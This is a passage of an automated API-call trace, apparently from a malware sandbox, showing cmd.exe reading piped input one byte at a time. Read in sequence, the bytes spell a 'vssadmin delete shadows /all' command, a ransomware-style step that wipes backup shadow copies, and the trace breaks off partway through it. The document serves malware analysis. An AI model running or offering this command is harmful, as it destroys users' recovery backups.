	[0036.743] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x189b00 | out: hHeap=0x170000) returned 1
	[0036.743] GetProcessHeap () returned 0x170000
	[0036.743] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x171cd0 | out: hHeap=0x170000) returned 1
	[0036.743] GetProcessHeap () returned 0x170000
	[0036.743] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x189a80 | out: hHeap=0x170000) returned 1
	[0036.743] GetProcessHeap () returned 0x170000
	[0036.743] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1898a0 | out: hHeap=0x170000) returned 1
	[0036.743] GetProcessHeap () returned 0x170000
	[0036.743] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x171ab0 | out: hHeap=0x170000) returned 1
	[0036.743] GetProcessHeap () returned 0x170000
	[0036.743] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x186510 | out: hHeap=0x170000) returned 1
	[0036.744] GetProcessHeap () returned 0x170000
	[0036.744] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x184610 | out: hHeap=0x170000) returned 1
	[0036.744] GetProcessHeap () returned 0x170000
	[0036.744] HeapFree (in: hHeap=0x170000, dwFlags=0x0, lpMem=0x1897e0 | out: hHeap=0x170000) returned 1
	[0036.744] _vsnwprintf (in: _Buffer=0x4a7e6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x15f838 | out: _Buffer="\r\n") returned 2
	[0036.744] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.744] GetFileType (hFile=0xf4) returned 0x3
	[0036.744] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.744] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a7dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0036.744] WriteFile (in: hFile=0xf4, lpBuffer=0x4a7dc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x15f808, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesWritten=0x15f808*=0x2, lpOverlapped=0x0) returned 1
	[0036.744] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a7cf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0036.744] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7dc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0036.744] _vsnwprintf (in: _Buffer=0x4a7ceb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x15f848 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37
	[0036.744] _vsnwprintf (in: _Buffer=0x4a7cebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x15f848 | out: _Buffer=">") returned 1
	[0036.744] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.744] GetFileType (hFile=0xf4) returned 0x3
	[0036.744] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0036.744] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a7dc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39
	[0036.744] WriteFile (in: hFile=0xf4, lpBuffer=0x4a7dc320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x15f838, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesWritten=0x15f838*=0x26, lpOverlapped=0x0) returned 1
	[0036.744] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.744] GetFileType (hFile=0xe8) returned 0x3
	[0036.744] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.745] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.745] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.745] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de320, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1
	[0036.745] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.745] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.745] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.745] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de322, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1
	[0036.745] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.745] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.745] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.745] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de324, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1
	[0036.745] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.745] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.745] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.745] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de326, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1
	[0036.745] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.745] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.745] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.745] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de328, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1
	[0036.745] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.745] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.745] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.745] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de32a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1
	[0036.745] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.745] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.745] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.746] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de32c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1
	[0036.746] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.746] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.746] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.746] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de32e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1
	[0036.746] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.746] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.746] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.746] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de330, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1
	[0036.746] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.746] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.746] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.746] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de332, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1
	[0036.746] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.746] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.746] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.746] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de334, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1
	[0036.746] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.746] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.746] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.746] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de336, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1
	[0036.746] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.746] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.746] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.746] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de338, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1
	[0036.746] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.747] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.747] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.747] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de33a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1
	[0036.747] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.747] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.747] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.747] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de33c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1
	[0036.747] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.747] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.747] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.747] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de33e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1
	[0036.747] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.747] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.747] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.747] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de340, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1
	[0036.747] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.747] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.747] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.747] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de342, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1
	[0036.747] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.747] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.747] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.747] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de344, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1
	[0036.747] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.747] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.747] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.748] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de346, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1
	[0036.748] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.748] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.748] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.748] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de348, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1
	[0036.748] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.748] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.748] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.748] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de34a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1
	[0036.748] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.748] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.748] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.748] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de34c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1
	[0036.748] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.748] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.748] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.748] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de34e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0036.748] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.748] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.748] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.748] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de350, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0036.748] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.748] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.748] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.748] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de352, cchWideChar=1 | out: lpWideCharStr="a") returned 1
	[0036.748] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.748] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.749] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.749] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de354, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0036.749] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.749] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.749] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.749] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de356, cchWideChar=1 | out: lpWideCharStr="l") returned 1
	[0036.749] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.749] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.749] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.749] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de358, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0036.749] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.749] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.749] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.749] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de35a, cchWideChar=1 | out: lpWideCharStr="/") returned 1
	[0036.749] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.749] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.749] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.749] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de35c, cchWideChar=1 | out: lpWideCharStr="q") returned 1
	[0036.749] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0036.749] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0036.749] ReadFile (in: hFile=0xe8, lpBuffer=0x4a7dc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x15fb38, lpOverlapped=0x0 | out: lpBuffer=0x4a7dc320*, lpNumberOfBytesRead=0x15fb38*=0x1, lpOverlapped=0x0) returned 1
	[0036.749] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4a7dc320, cbMultiByte=1, lpWideCharStr=0x4a7de35e, cchWideChar=1 | out: lpWideCharStr="u") returned 1
	[0036.749] _get_osfhandle (_FileHandle=0) returned 0xe8
